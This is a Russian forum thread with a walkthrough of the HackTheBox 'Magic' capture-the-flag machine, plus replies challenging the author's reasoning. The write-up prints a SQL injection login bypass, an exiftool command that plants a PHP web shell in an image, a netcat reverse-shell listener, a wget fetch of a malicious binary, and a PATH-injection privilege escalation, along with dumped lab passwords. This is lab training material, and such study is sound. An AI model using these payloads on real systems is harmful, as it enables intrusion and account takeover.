ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Задания/Квесты/CTF/Конкурсы (https://forum.antichat.xyz/forumdisplay.php?f=112)
-   -   HackTheBox CTF "Magic" разбор Web-Linux (Уровень: Средний) (https://forum.antichat.xyz/showthread.php?t=1639346)

QuietMoth1 29.01.2022 00:37

https://forum.antichat.xyz/attachmen...51d79c66b7.png

Привет Форумчане!
Продолжаем рассматривать CTF с площадки HackTheBox, одна из таких интересных коробок по Linux будет разобрана в этой статье, не буду томить... Начнём!

Данные:
Задача: Скомпрометировать машину на Linux и взять два флага user.txt и root.txt
Основная рабочая машина: Kali Linux 2021.3
IP адрес удаленной машины -10.10.10.185
IP адрес основной машины -10.10.14.34

Начальная разведка и сканирование портов:
Как всегда начинаем с сканирования портов удаленной рабочей машины, nmap поможет нам в этом:

Код:

nmap -sC -sV 10.10.10.185
Пока что мы сканируем только самые популярные порты. Посмотрим какой результат нам выдал nmap:

https://forum.antichat.xyz/attachmen...a20172e503.png

Видим два открытых порта 22/ssh и 80/http на сервере Apache 2.4.29. Зайдем на страницу этого сервера:

https://forum.antichat.xyz/attachmen...934c1238a7.png

Видим какую-то галерею с космосом на заднем фоне, давайте откроем исходный код страницы:

https://forum.antichat.xyz/attachmen...fba88bf6a8.png

Немного пролистав горизонтально код, мы натыкаемся на полный путь папки /images/uploads/ - видимо где-то здесь есть место для загрузки файлов.
Давайте воспользуемся Dirsearch в связке с Gobuster. Что это за инструменты и для чего они нужны нам, как веб-пентестерам:

Dirsearch - это простая утилита терминала, предназначенная для брут-форса директорий и файлов по сайту. Он также способен искать известные файлы по заданным расширениям
Gobuster - один из самых мощных и быстрых инструментов. Он использует сканер каталогов, написанный на языке Go, он быстрее и гибче, чем интерпретируемый скрипт.

Код:

dirsearch -u http://10.10.10.185/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e php,log,sql,txt,bak,tar,tar.gz.zip,rar,swp,gz,asp,aspx
С помощью параметра -u мы указываем ссылку на веб-сайт, параметр -wвыбирает наш список по которому и будет происходить брут-форс, а параметр -e указывает допустимые или дополнительные расширения файлов.

https://forum.antichat.xyz/attachmen...85a7a94c07.png

Код:

gobuster dir -u http://10.10.10.185/ -w /root/SecLists/Discovery/Web-Content/raft-large-directories.txt
В Gobuster всё аналогично, кроме его параметра dir, этот параметр указывает что нужно перебирать директории, у Gobuster'а есть ещё несколько параметров поиска. Например таких как: vhost (Виртуальные хосты), dns (поддомены) и s3 (Перебор Amazon S3 buckets).

https://forum.antichat.xyz/attachmen...a5badd99e3.png

К сожалению все переборы директорий закончились не очень удачно, так как они перенаправляют нас на 403 error (Нет прав доступа), но это не всё, всегда есть другая точка входа, в нашем случае это страница входа в аккаунт -> login.php
Заходим на неё и видим следующее:

https://forum.antichat.xyz/attachmen...7edc2ef82a.png

Веб-Эксплуатация и получение пользователя
Нам предлагают ввести имя пользователя и пароль, открываем BurpSuite и начинаем проламываться через эту форму. Первое что нам нужно сделать это перехватить запрос, далее отправим его в Repeater:

https://forum.antichat.xyz/attachmen...299cd81369.png

Здесь внимание стоит обратить на alert, он говорит нам что у нас неправильный логин или пароль, давайте попробуем обойти авторизацию с помощью sql-injection или проще называемой "скули"
В параметр username добавим строчку ' or 1=1 -- - это обычный обход авторизации с помощью sql-injection основанной на буллевых значениях...
Отправляем запрос и видим перенаправление 302 Follow Redirect, переходим и получаем:

https://forum.antichat.xyz/attachmen...75ea7f5c12.png

Welcome Admin! Отлично мы админ, теперь видим перед собой форму загрузки файлов, попробуем загрузить наш PentestMonkey Reverse Shell с расширением .php

https://forum.antichat.xyz/attachmen...9bbdc46c11.png

На что форма выдаёт ошибку где ссылается на то, что только файлы с расширениями JPG, JPEG И PNG доступны для загрузки.

https://forum.antichat.xyz/attachmen...0ceb8b1e72.png

Теперь очередь обхода - этой формы загрузок, с помощью ExifTool (программы для просмотра метаданных) отредактируем комментарий в изображении скопировав туда обычный php reverse shell cmd:

Код:

exiftool -Comment='"; system($_GET['cmd']); ?>' runme.jpg
Теперь чтобы прогружать скрипт, а не саму картинку - переименуем её вrunme.php.jpg и загрузим.
После успешной загрузки, мы вспоминаем про путь /images/uploads/добавляем сюда наше имя файла и можем успешно добавлять POST запрос к нашему скрипту -

https://forum.antichat.xyz/attachmen...577225cfc8.png

Иии... Ура! У нас есть cmd webshell, давайте сделаем бэк-коннект до себя, добавив в URL

https://forum.antichat.xyz/attachmen...2d9776cc4b.png

Есть! Мы получили обратную оболочку, теперь мы будем спускаться по директориям вниз и параллельно смотреть содержимое интересных файлов, например такого как - db.php5 лежащего в директории /var/www/Magic:

https://forum.antichat.xyz/attachmen...b59bc262bf.png

А вот и данные от базы данных, давайте посмотрим какие у нас есть пользователи, в папке /home/ есть только один пользователь - theseus
Теперь давайте попробуем войти в его аккаунт с паролем iamkingtheseus, но этот пароль не подошёл к нему, хорошо, тогда сдампим базу данных через mysqldump:

Код:

mysqldump -B Magic -u theseus -p
Через параметр -B передаём имя БД, а через -u имя пользователя и -pпароль:

https://forum.antichat.xyz/attachmen...9a8157e867.png

И получаем имя пользователя admin и пароль Th3s3usW4sK1ng
Уж на этот раз, это точно должен быть пароль от пользователя theseus, подставим его:

https://forum.antichat.xyz/attachmen...21c1383d39.png

Да! Мы нашли пользовательский пароль. Зайдем в домашнюю директорию и выведем пользовательский флаг:

https://forum.antichat.xyz/attachmen...123e559e5d.png

Повышение привилегий
Теперь попробуем найти все SUID файлы:

Код:

find / -perm -u=s -type f 2>/dev/null


Эта команда выдаст нам все файлы, с разрешениями владельца файла которые мы можем выполнить и среди них мы видим интересный файл /bin/sysinfo.
Так как это бинарный файл, давайте посмотрим его строки:

Код:

strings /bin/sysinfo
https://forum.antichat.xyz/attachmen...0bab95addf.png

Среди строк мы находим уязвимость PATH Injection, так как утилита fdisk подгружается программой не через полный путь к нему! Попробуем это использовать, загрузим свой файл fdisk со следующим содержимым:

https://forum.antichat.xyz/attachmen...8eae2ffa5b.png

Он будет содержать в себе самый обычный Bash Reverse Shell, итак откроем у себя порт через интересную утилитуRlwrap.

Rlwrap - это отличная утилита суть которой заключается в упрощении управления пользовательским вводом, проще говоря вы сможете использовать стрелочки для редактирования и вставления прошлых команд из терминала при tty шелле!

Запустим его в связке с Netcat на порту 9998:

Код:

rlwrap nc -nvlp 9998
https://forum.antichat.xyz/attachmen...fa8c958127.png

Загружаем наш файл на удаленную машину через Python модуль http.server с портом 80:

Код:

python3 -m http.server 80
https://forum.antichat.xyz/attachmen...11f51ed3a5.png

Теперь скачиваем наш файл в папку /tmp/ через wget:

Код:

wget 10.10.14.34/fdisk
Надо дать права на выполнения этому файлу, используем команду chmod:

Код:

chmod +x fdisk
Теперь самая важная деталь этой уязвимости в честь чего она и названа эта инъекция - PATH (путь).

Нам нужно изменить путь запуска на наш, т.е /tmp/ - сделаем это командой
export:

Код:

export PATH=/tmp:$PATH
Запустим наш бинарный файл /bin/sysinfo и посмотрим наши подключения!

https://forum.antichat.xyz/attachmen...d561130ccf.png

Поздравляю, мы получилиroot!

Выводы:
Эта CTF научила нас:
1) Пользоваться уязвимостью для обхода форм авторизаций на основе sql-инъекции
2) Обходить фильтрацию загрузки файлов и загружать туда шелл.
3) Брутить директории и файлы сайтов.
4) Использовать уязвимость PATH Injection.
5) И просто творить магию)

Спасибо, за то что вы прочитали мою статью! Скоро буду

Qulan 29.01.2022 23:39

Цитата:


QuietMoth1 сказал(а):

страница входа в аккаунт -> login.php

Как нашел?
Цитата:


QuietMoth1 сказал(а):

давайте попробуем обойти авторизацию с помощью sql-injection

На основании чего сделан этот вывод? Почему не брут? Почему не лдап? Почему не common creds?
Цитата:


QuietMoth1 сказал(а):

Теперь очередь обхода - этой формы загрузок, с помощью ExifTool

почему сразу так? Как узнали на сторон ечего фильтр?
Цитата:


QuietMoth1 сказал(а):

Теперь давайте попробуем войти в его аккаунт с паролем iamkingtheseus

Метод входа через su или ssh? Там же есть ssh, почему не забзал?
Цитата:


QuietMoth1 сказал(а):

так как утилита fdisk подгружается программой не через полный путь

Только ли fdisk?)))

Вообщем так можно продолжать дальше.

QuietMoth1 30.01.2022 00:18

Цитата:


Qulan сказал(а):

Как нашел?

На основании чего сделан этот вывод? Почему не брут? Почему не лдап? Почему не common creds?

почему сразу так? Как узнали на сторон ечего фильтр?

Метод входа через su или ssh? Там же есть ssh, почему не забзал?

Только ли fdisk?)))

Вообщем так можно продолжать дальше.


1) Нашёл так, что на главной странице есть эта ссылка на login.php
2) Я проходил тачку до этого, да и в обычных случаях сразу проверяю sql-injection
3) Думаю если бы я описывал, как да что я перебровал, вышла бы статья на 2 часа точно, поэтому я привожу сразу готовое решение, это врайтап, а не похождения по тачкам
4) Su, забыл описать, что там в конфиге ssh вход только по паролю
5) Нет не только, ещё две утилиты как видишь, просто выбрал этот вариант

Gustavo Fring 30.01.2022 02:03

Крутая статья. Интересно будет почитать про разбор машин, встречаемых или примерно похожих на PEN200 (он же OSCP).

Qulan 30.01.2022 07:53

Цитата:


QuietMoth1 сказал(а):

1) Нашёл так, что на главной странице есть эта ссылка на login.php
2) Я проходил тачку до этого, да и в обычных случаях сразу проверяю sql-injection
3) Думаю если бы я описывал, как да что я перебровал, вышла бы статья на 2 часа точно, поэтому я привожу сразу готовое решение, это врайтап, а не похождения по тачкам
4) Su, забыл описать, что там в конфиге ssh вход только по паролю
5) Нет не только, ещё две утилиты как видишь, просто выбрал этот вариант


Ок


Время: 21:54